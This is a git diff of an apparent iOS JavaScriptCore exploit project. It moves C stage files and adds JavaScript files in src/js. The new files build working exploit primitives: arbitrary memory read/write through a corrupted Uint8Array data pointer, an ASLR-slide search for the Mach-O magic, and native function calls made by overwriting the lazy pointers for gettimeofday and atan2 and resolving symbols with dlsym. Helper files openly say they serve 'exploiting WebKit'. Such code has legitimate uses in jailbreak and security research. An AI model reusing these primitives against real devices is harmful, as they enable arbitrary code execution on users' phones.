21 files changed, 748 insertions, 36 deletions

diff --git a/src/common.h b/src/gen/common.h
index 9550400..9550400 100644
--- a/src/common.h
+++ b/src/gen/common.h
diff --git a/src/ip_tools.c b/src/gen/ip_tools.c
index 6e36b64..6e36b64 100644
--- a/src/ip_tools.c
+++ b/src/gen/ip_tools.c
diff --git a/src/ip_tools.h b/src/gen/ip_tools.h
index a011094..a011094 100644
--- a/src/ip_tools.h
+++ b/src/gen/ip_tools.h
diff --git a/src/main.c b/src/gen/main.c
index 3c8d513..3c8d513 100644
--- a/src/main.c
+++ b/src/gen/main.c
diff --git a/src/patchfinder.c b/src/gen/patchfinder.c
index 7464d70..7464d70 100644
--- a/src/patchfinder.c
+++ b/src/gen/patchfinder.c
diff --git a/src/patchfinder.h b/src/gen/patchfinder.h
index 21af7e3..21af7e3 100644
--- a/src/patchfinder.h
+++ b/src/gen/patchfinder.h
diff --git a/src/shit.c b/src/gen/shit.c
index ef354d4..6e6c5c5 100644
--- a/src/shit.c
+++ b/src/gen/shit.c
@@ -1,32 +1,32 @@
-#include <stdarg.h>

-#include "common.h"

-#include <stdio.h>

-#include "shit.h"

-

-extern FILE* fp;

-

-int _asprintf(char **strp, const char *fmt, ...) {

-	va_list ap;

-	char* tmp = NULL;

-

-	*strp = "";

-

-	/*

-	 *  shit

-	 */

-

-	va_start(ap, fmt);

-	vfprintf(fp, fmt, ap);

-	va_end(ap);

-

-#if 0

-	strcpy(fuck_memory_leaks, tmp);

-

-	if (strp)

-		*strp = fuck_memory_leaks;

-	

-	free(tmp);

-#endif

-

-	return 0;

+#include <stdarg.h>
+#include "common.h"
+#include <stdio.h>
+#include "shit.h"
+
+extern FILE* fp;
+
+int _asprintf(char **strp, const char *fmt, ...) {
+	va_list ap;
+	char* tmp = NULL;
+
+	*strp = "";
+
+	/*
+	 *  shit
+	 */
+
+	va_start(ap, fmt);
+	vfprintf(fp, fmt, ap);
+	va_end(ap);
+
+#if 0
+	strcpy(fuck_memory_leaks, tmp);
+
+	if (strp)
+		*strp = fuck_memory_leaks;
+	
+	free(tmp);
+#endif
+
+	return 0;
 }
\ No newline at end of file
diff --git a/src/shit.h b/src/gen/shit.h
index d97a995..aaa4b7f 100644
--- a/src/shit.h
+++ b/src/gen/shit.h
@@ -1,6 +1,6 @@
-#ifndef SHIT_H

-#define SHIT_H

-

-int _asprintf(char **strp, const char *fmt, ...);

-

+#ifndef SHIT_H
+#define SHIT_H
+
+int _asprintf(char **strp, const char *fmt, ...);
+
 #endif
\ No newline at end of file
diff --git a/src/stage0_primitives.c b/src/gen/stage0_primitives.c
index b54cb1a..b54cb1a 100644
--- a/src/stage0_primitives.c
+++ b/src/gen/stage0_primitives.c
diff --git a/src/stage0_primitives.h b/src/gen/stage0_primitives.h
index a9a71eb..a9a71eb 100644
--- a/src/stage0_primitives.h
+++ b/src/gen/stage0_primitives.h
diff --git a/src/stage1_primitives.c b/src/gen/stage1_primitives.c
index ffe7b53..ffe7b53 100644
--- a/src/stage1_primitives.c
+++ b/src/gen/stage1_primitives.c
diff --git a/src/stage1_primitives.h b/src/gen/stage1_primitives.h
index d6b9c33..d6b9c33 100644
--- a/src/stage1_primitives.h
+++ b/src/gen/stage1_primitives.h
diff --git a/src/stage2.c b/src/gen/stage2.c
index 8b98a7e..8b98a7e 100644
--- a/src/stage2.c
+++ b/src/gen/stage2.c
diff --git a/src/stage2.h b/src/gen/stage2.h
index 0c7b62b..0c7b62b 100644
--- a/src/stage2.h
+++ b/src/gen/stage2.h
diff --git a/src/js/call.js b/src/js/call.js
new file mode 100644
index 0000000..c766b1a
--- /dev/null
+++ b/src/js/call.js
@@ -0,0 +1,52 @@
+var gettimeofday_lazy_addy = 0x34d63d3c;
+var atan2_lazy_addy = 0x346afc84;
+var reserve_addr = 0x1a0000;
+var slide = 0x0;
+var base = 0x0;
+//var slid = 0x0;
+
+function get_dyld_shc_slide() {
+	return read_u32((slide << 12) + reserve_addr + 20);
+}
+
+function call(addy) {
+	var dyld_shc_slide = get_dyld_shc_slide();
+	var tmp = read_u32(gettimeofday_lazy_addy + dyld_shc_slide);
+	write_u32(gettimeofday_lazy_addy + dyld_shc_slide, addy);
+	var d = new Date();
+	write_u32(gettimeofday_lazy_addy + dyld_shc_slide, tmp);
+}
+
+function call4arg(addy, r0, r1, r2, r3) {
+	var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8));
+	var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8));
+
+	arg1d = arg1.asDouble();
+	arg2d = arg2.asDouble();
+
+	delete arg1;
+	delete arg2;
+		
+	var dyld_shc_slide = get_dyld_shc_slide();
+
+	tmp = read_u32(atan2_lazy_addy + dyld_shc_slide);
+	write_u32(atan2_lazy_addy + dyld_shc_slide, addy);
+	ret = Math.atan2(arg1d, arg2d);
+	write_u32(atan2_lazy_addy + dyld_shc_slide, tmp);
+	
+	delete tmp;
+	delete arg1d;
+	delete arg2d;
+	
+	return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0;
+}
+
+/*
+ *  call with symbol
+ */
+function calls4arg(sym, r0, r1, r2, r3) {
+	var dlsym_addy = read_u32(reserve_addr + 24 + slid);
+	var shc_slide = read_u32(reserve_addr + 20 + slid);
+	var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0);
+	return call4arg(addy, r0, r1, r2, r3);
+}
diff --git a/src/js/int64.js b/src/js/int64.js
new file mode 100644
index 0000000..1ef5910
--- /dev/null
+++ b/src/js/int64.js
@@ -0,0 +1,169 @@
+//
+// Tiny module that provides big (64bit) integers.
+//
+// Copyright (c) 2016 Samuel Groß
+//
+// Requires utils.js
+//
+
+// Datatype to represent 64-bit integers.
+//
+// Internally, the integer is stored as a Uint8Array in little endian byte order.
+function Int64(v) {
+	// The underlying byte array.
+	var bytes = new Uint8Array(8);
+
+	switch (typeof v) {
+		case 'number':
+			v = '0x' + Math.floor(v).toString(16);
+		case 'string':
+			if (v.startsWith('0x'))
+				v = v.substr(2);
+			if (v.length % 2 == 1)
+				v = '0' + v;
+
+			var bigEndian = unhexlify(v, 8);
+			bytes.set(Array.from(bigEndian).reverse());
+			break;
+		case 'object':
+			if (v instanceof Int64) {
+				bytes.set(v.bytes());
+			} else {
+				if (v.length != 8)
+					throw TypeError("Array must have excactly 8 elements.");
+				bytes.set(v);
+			}
+			break;
+		case 'undefined':
+			break;
+		default:
+			throw TypeError("Int64 constructor requires an argument.");
+	}
+
+	// Return a double whith the same underlying bit representation.
+	this.asDouble = function() {
+		// Check for NaN
+		if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
+			throw new RangeError("Integer can not be represented by a double");
+
+		return Struct.unpack(Struct.float64, bytes);
+	};
+
+	// Return a javascript value with the same underlying bit representation.
+	// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
+	// due to double conversion constraints.
+	this.asJSValue = function() {
+		if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
+			throw new RangeError("Integer can not be represented by a JSValue");
+
+		// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
+		this.assignSub(this, 0x1000000000000);
+		var res = Struct.unpack(Struct.float64, bytes);
+		this.assignAdd(this, 0x1000000000000);
+
+		return res;
+	};
+
+	// Return the underlying bytes of this number as array.
+	this.bytes = function() {
+		return Array.from(bytes);
+	};
+
+	// Return the byte at the given index.
+	this.byteAt = function(i) {
+		return bytes[i];
+	};
+
+	// Return the value of this number as unsigned hex string.
+	this.toString = function() {
+		return '0x' + hexlify(Array.from(bytes).reverse());
+	};
+
+	// Basic arithmetic.
+	// These functions assign the result of the computation to their 'this' object.
+
+	// Decorator for Int64 instance operations. Takes care
+	// of converting arguments to Int64 instances if required.
+	function operation(f, nargs) {
+		return function() {
+			if (arguments.length != nargs)
+				throw Error("Not enough arguments for function " + f.name);
+			for (var i = 0; i < arguments.length; i++)
+				if (!(arguments[i] instanceof Int64))
+					arguments[i] = new Int64(arguments[i]);
+			return f.apply(this, arguments);
+		};
+	}
+
+	// this = -n (two's complement)
+	this.assignNeg = operation(function neg(n) {
+		for (var i = 0; i < 8; i++)
+			bytes[i] = ~n.byteAt(i);
+
+		return this.assignAdd(this, Int64.One);
+	}, 1);
+
+	// this = a + b
+	this.assignAdd = operation(function add(a, b) {
+		var carry = 0;
+		for (var i = 0; i < 8; i++) {
+			var cur = a.byteAt(i) + b.byteAt(i) + carry;
+			carry = cur > 0xff | 0;
+			bytes[i] = cur;
+		}
+		return this;
+	}, 2);
+
+	// this = a - b
+	this.assignSub = operation(function sub(a, b) {
+		var carry = 0;
+		for (var i = 0; i < 8; i++) {
+			var cur = a.byteAt(i) - b.byteAt(i) - carry;
+			carry = cur < 0 | 0;
+			bytes[i] = cur;
+		}
+		return this;
+	}, 2);
+
+	// this = a ^ b
+	this.assignXor = operation(function sub(a, b) {
+		for (var i = 0; i < 8; i++) {
+			bytes[i] = a.byteAt(i) ^ b.byteAt(i);
+		}
+		return this;
+	}, 2);
+}
+
+// Constructs a new Int64 instance with the same bit representation as the provided double.
+Int64.fromDouble = function(d) {
+	var bytes = Struct.pack(Struct.float64, d);
+	return new Int64(bytes);
+};
+
+// Convenience functions. These allocate a new Int64 to hold the result.
+
+// Return -n (two's complement)
+function Neg(n) {
+	return (new Int64()).assignNeg(n);
+}
+
+// Return a + b
+function Add(a, b) {
+	return (new Int64()).assignAdd(a, b);
+}
+
+// Return a - b
+function Sub(a, b) {
+	return (new Int64()).assignSub(a, b);
+}
+
+// Return a ^ b
+function Xor(a, b) {
+	return (new Int64()).assignXor(a, b);
+}
+
+// Some commonly used numbers.
+Int64.Zero = new Int64(0);
+Int64.One = new Int64(1);
+
+// That's all the arithmetic we need for exploiting WebKit.. :)
diff --git a/src/js/libu8.js b/src/js/libu8.js
new file mode 100644
index 0000000..b619fd8
--- /dev/null
+++ b/src/js/libu8.js
@@ -0,0 +1,56 @@
+/*
+ *  turn a uint32_t into a little-endian 4 byte array
+ */
+function u32_to_u8x4(val) {
+	u8x4 = new Uint8Array(0x4);
+
+	val_ = val >>> 0;
+
+	u8x4[0] = ((val_ >>  0) & 0xff);
+	u8x4[1] = ((val_ >>  8) & 0xff);
+	u8x4[2] = ((val_ >> 16) & 0xff);
+	u8x4[3] = ((val_ >> 24) & 0xff);
+
+	return u8x4;
+}
+
+/*
+ *  turn a uint16_t into a little-endian 2 byte array
+ */
+function u16_to_u8x2(val) {
+	u8x2 = new Uint8Array(0x2);
+
+	val_ = val >>> 0;
+
+	u8x2[0] = ((val_ >>  0) & 0xff);
+	u8x2[1] = ((val_ >>  8) & 0xff);
+
+	return u8x2;
+}
+
+/*
+ *  turn a little-endian 4 byte array into a uint32_t
+ */
+function u8x4_to_u32(buf) {
+	u32  = 0x0;
+
+	u32 += (buf[0] <<  0);
+	u32 += (buf[1] <<  8);
+	u32 += (buf[2] << 16);
+	u32 += (buf[3] << 24);
+
+	return u32 >>> 0;
+}
+
+/*
+ *  turn a little-endian 2 byte array into a uint16_t
+ */
+function u8x2_to_u16(buf) {
+	u16  = 0x0;
+
+	u16 += (buf[0] <<  0);
+	u16 += (buf[1] <<  8);
+
+	return u16 >>> 0;
+
+}
diff --git a/src/js/main.js b/src/js/main.js
new file mode 100644
index 0000000..dd7f1f0
--- /dev/null
+++ b/src/js/main.js
@@ -0,0 +1,58 @@
+/*
+ *  november 24th 2021
+ *  [3:16 PM] spv: spice confuses the shit out of me, so i'm prolly not smart enough to implement it anyway
+ *
+ *  ohai
+ */
+
+var MAX_SLIDE = 0x3;
+var MIN_SLIDE = 0x1;
+
+try {
+	log("we out here in jsc");
+} catch (e) {
+	/*
+	 *  we don't have log. :(
+	 */
+
+	log = function (){};
+}
+
+function main() {
+	/*
+	 *  get slide and calculate slid base
+	 *  remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's
+	 * 
+	 *  so, take the slide, shift it by 12 bits (aslr is calc'd by taking a
+	 *  random byte and shifting it 12 bits, in this case the page size, 4096
+	 *  (0x1000) bytes), and add it to the unslid base.
+	 */
+
+	slide = get_our_slide();
+	base = 0x4000 + (slide << 12);
+	slid = (slide << 12);
+
+	init_sptr_heap();
+
+	calls4arg("puts\0", sptr("we out here\0"), 0, 0, 0);
+
+	log("slide=0x" + slide.toString(16));
+	log("*(uint8_t*)base = 0x" + read_u8(base).toString(16));
+	log("*(uint16_t*)base = 0x" + read_u16(base).toString(16));
+	log("*(uint32_t*)base = 0x" + read_u32(base).toString(16));
+
+	predicted_jsobject_addy = 0x422200;
+	buf = read_buf(predicted_jsobject_addy, 0x200);
+
+	log("hexdump of predicted jsobject loc:");
+	log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x"));
+
+	var i = 0;
+	while (true) {
+		calls4arg("syslog\0", 0x28, sptr("get rekt from jsc %d (slide=%x)\n\0"), i, 0);
+		calls4arg("sleep", 0, 0, 0, 0);
+		i++;
+	}
+
+	log("still alive");
+};
diff --git a/src/js/mem.js b/src/js/mem.js
new file mode 100644
index 0000000..6c30376
--- /dev/null
+++ b/src/js/mem.js
@@ -0,0 +1,186 @@
+var shit_status = 0x144444;
+var global_sptr_addy = 0;
+var VECTOR_OFFSET = 0x10;
+var sptr_size = 0;
+var sptr_len = 0;
+
+/*
+ *  read uint8_t
+ */
+function read_u8(addy) {
+	u8x4 = u32_to_u8x4(addy);
+
+	/*
+	 *  `parent` is a Uint8Array of length 0x100.
+	 *  `child` is also a Uint8Array of length 0x100.
+	 *  `parent`'s `vector`, its pointer to where its data is stored, has been
+	 *  modified to point to the `child` object in memory.
+	 *  as such, accessing `parent` will allow for modifying the `child` object.
+	 *  
+	 *  the way this is used is by writing to `child`'s `vector` so it points to
+	 *  arbitrary memory. then, we can access `child`, and we now have arbitrary
+	 *  r/w
+	 */
+
+	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+	return child[0];
+}
+
+/*
+ *  read uint16_t
+ */
+function read_u16(addy) {
+	u8x4 = u32_to_u8x4(addy);
+
+	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+	return u8x2_to_u16(child);
+
+}
+
+/*
+ *  read uint32_t
+ */
+function read_u32(addy) {
+	u8x4 = u32_to_u8x4(addy);
+
+	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+	return u8x4_to_u32(child);
+}
+
+/*
+ *  read a buffer
+ */
+function read_buf(addy, len) {
+	var buf = new Uint8Array(len);
+
+	for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+		buf[cur_addy - addy] = read_u8(cur_addy);
+	}
+
+	return buf;
+}
+
+/*
+ *  write a buffer
+ */
+function write_buf(addy, buf, len) {
+	for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
+		write_u8(cur_addy, buf[cur_addy - addy]);
+	}
+
+	return buf;
+}
+
+/*
+ *  write uint8_t
+ */
+function write_u8(addy, what) {
+	u8x4 = u32_to_u8x4(addy);
+
+	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+	child[0] = what;
+}
+
+/*
+ *  write uint16_t
+ */
+function write_u16(addy, what) {
+	u8x4 = u32_to_u8x4(addy);
+
+	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+	u8x2 = u16_to_u8x2(what);
+	child[0] = u8x2[0];
+	child[1] = u8x2[1];
+}
+
+/*
+ *  write uint32_t
+ */
+function write_u32(addy, what) {
+	u8x4 = u32_to_u8x4(addy);
+
+	parent[VECTOR_OFFSET + 0x0] = u8x4[0];
+	parent[VECTOR_OFFSET + 0x1] = u8x4[1];
+	parent[VECTOR_OFFSET + 0x2] = u8x4[2];
+	parent[VECTOR_OFFSET + 0x3] = u8x4[3];
+
+	u8x4 = u32_to_u8x4(what);
+	child[0] = u8x4[0];
+	child[1] = u8x4[1];
+	child[2] = u8x4[2];
+	child[3] = u8x4[3];
+}
+
+/*
+ *  get process slide
+ */
+function get_our_slide() {
+	for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
+		if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
+			return slide;
+		}
+	}
+}
+
+/*
+ *  write str to addy
+ */
+function write_str(addy, s) {
+	for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
+		write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
+	}
+
+	return s;
+}
+
+function init_sptr_heap() {
+	var dlsym_addy = read_u32(reserve_addr + 24 + slid);
+	var shc_slide = read_u32(reserve_addr + 20 + slid);
+	write_str(0x150000, "malloc\0");
+	var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0);
+	global_sptr_addy = call4arg(addy, 0x1000000, 0, 0, 0);
+	sptr_size = 0x1000000;
+	sptr_len = 0;
+
+	calls4arg("printf\0", sptr("sptr_heap=%p\n\0"), global_sptr_addy, 0, 0);
+
+	return global_sptr_addy;
+}
+
+/*
+ *  sptr is meant to give you a pointer to a specified string
+ *  remember your nul's!
+ */
+function sptr(s) {
+	if ((sptr_len + s.length) >= sptr_size) {
+		var dlsym_addy = read_u32(reserve_addr + 24 + slid);
+		var shc_slide = read_u32(reserve_addr + 20 + slid);
+		write_str(0x150000, "realloc\0");
+		var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0);
+		global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size + 0x100000, 0, 0);
+		sptr_size += 0x100000;
+	}
+	write_str(global_sptr_addy, s);
+	global_sptr_addy += s.length;
+	return global_sptr_addy - s.length;
+}
\ No newline at end of file
diff --git a/src/js/str.js b/src/js/str.js
new file mode 100644
index 0000000..31621bf
--- /dev/null
+++ b/src/js/str.js
@@ -0,0 +1,113 @@
+/*
+ *  currently unused (iirc) garbage
+ *  basically just prints an address than the uint32_t there, and then +4, etc
+ */
+function prim_dump_u32(buf) {
+	s = "";
+
+	for (var i = 0; i < buf.length; i += 4) {
+		tmp = [];
+
+		tmp.push(buf[i + 0]);
+		tmp.push(buf[i + 1]);
+		tmp.push(buf[i + 2]);
+		tmp.push(buf[i + 3]);
+
+		s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8);
+		s += ": ";
+		s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8);
+		if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) {
+			s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8);
+			s += "\n";
+			val = read_u32(u8x4_to_u32(tmp));
+			if (val >= 0x1800000 && val < 0x1900000) {
+				buf = read_buf(val, 0x100);
+				s += (hexdump(buf, 8, 2, val, 8, "0x"));
+			}
+		}
+		s += "\n";
+	}
+
+	return s;
+}
+
+/*
+ *  pad str to n chars with c chars to the left
+*/
+function pad_left(s, c, n) {
+	s_ = s;
+
+	if (s_.length < n) {
+		s_ = c.repeat(n - s_.length) + s_;
+	}
+
+	return s_;
+}
+
+/*
+ *  convert ASCII str to uint8array (unicode be damned)
+ */
+function str_to_uint8_buf(s) {
+	buf = new Uint8Array(s.length);
+
+	for (i = 0; i < s.length; i++) {
+		buf[i] = s.charCodeAt(i);
+	}
+
+	return buf;
+}
+
+/*
+ *  HOLY UGLY BATMAN!
+ */
+function hexdump(buf, cols, col_split, base, pad_base, base_prefix) {
+	s = "";
+	if (buf.constructor != Uint8Array) {
+		buf = str_to_uint8_buf(buf);
+	}
+
+	for (i = 0; i < buf.length; i += (cols * col_split)) {
+		cur_base = base + i;
+		s += base_prefix + pad_left(cur_base.toString(16), "0", pad_base) + ": ";
+		for (j = i; j < (i + (cols * col_split)); j += col_split) {
+			for (k = j; k < (j + col_split); k++) {
+				val = buf[k];
+				try {
+					s += pad_left(val.toString(16), "0", 2);
+				} catch (e) {
+					s += "	";
+				}
+			}
+			s += " ";
+		}
+
+		for (j = i; j < (i + (cols * col_split)); j++) {
+			val = buf[j];
+
+			if (val < 0x20 || val >= 0x80) {
+				val = 0x2e; // period
+			}
+
+			chr = String.fromCharCode(val);
+			s += chr;
+		}
+
+		s += "\n";
+	}
+
+	return s;
+}
+
+/*
+ *  HEX SHIT
+ */
+function prim_hexdump(buf) {
+	s = "";
+
+	for (i = 0; i < buf.length; i++) {
+		val = buf[i];
+		s += pad_left(val.toString(16), "0", 2);
+	}
+
+	return s;
+}
diff --git a/src/js/utils.js b/src/js/utils.js
new file mode 100644
index 0000000..361e71d
--- /dev/null
+++ b/src/js/utils.js
@@ -0,0 +1,78 @@
+//
+// Utility functions.
+//
+// Copyright (c) 2016 Samuel Groß
+//
+
+// Return the hexadecimal representation of the given byte.
+function hex(b) {
+	return ('0' + b.toString(16)).substr(-2);
+}
+
+// Return the hexadecimal representation of the given byte array.
+function hexlify(bytes) {
+	var res = [];
+	for (var i = 0; i < bytes.length; i++)
+		res.push(hex(bytes[i]));
+
+	return res.join('');
+}
+
+// Return the binary data represented by the given hexdecimal string.
+function unhexlify(hexstr) {
+	if (hexstr.length % 2 == 1)
+		throw new TypeError("Invalid hex string");
+
+	var bytes = new Uint8Array(hexstr.length / 2);
+	for (var i = 0; i < hexstr.length; i += 2)
+		bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
+
+	return bytes;
+}
+
+function hexdump(data) {
+	if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
+		data = Array.from(data);
+
+	var lines = [];
+	for (var i = 0; i < data.length; i += 16) {
+		var chunk = data.slice(i, i+16);
+		var parts = chunk.map(hex);
+		if (parts.length > 8)
+			parts.splice(8, 0, ' ');
+		lines.push(parts.join(' '));
+	}
+
+	return lines.join('\n');
+}
+
+// Simplified version of the similarly named python module.
+var Struct = (function() {
+	// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
+	var buffer      = new ArrayBuffer(8);
+	var byteView    = new Uint8Array(buffer);
+	var uint32View  = new Uint32Array(buffer);
+	var float64View = new Float64Array(buffer);
+
+	return {
+		pack: function(type, value) {
+			var view = type;        // See below
+			view[0] = value;
+			return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
+		},
+
+		unpack: function(type, bytes) {
+			if (bytes.length !== type.BYTES_PER_ELEMENT)
+				throw Error("Invalid bytearray");
+
+			var view = type;        // See below
+			byteView.set(bytes);
+			return view[0];
+		},
+
+		// Available types.
+		int8:    byteView,
+		int32:   uint32View,
+		float64: float64View
+	};
+})();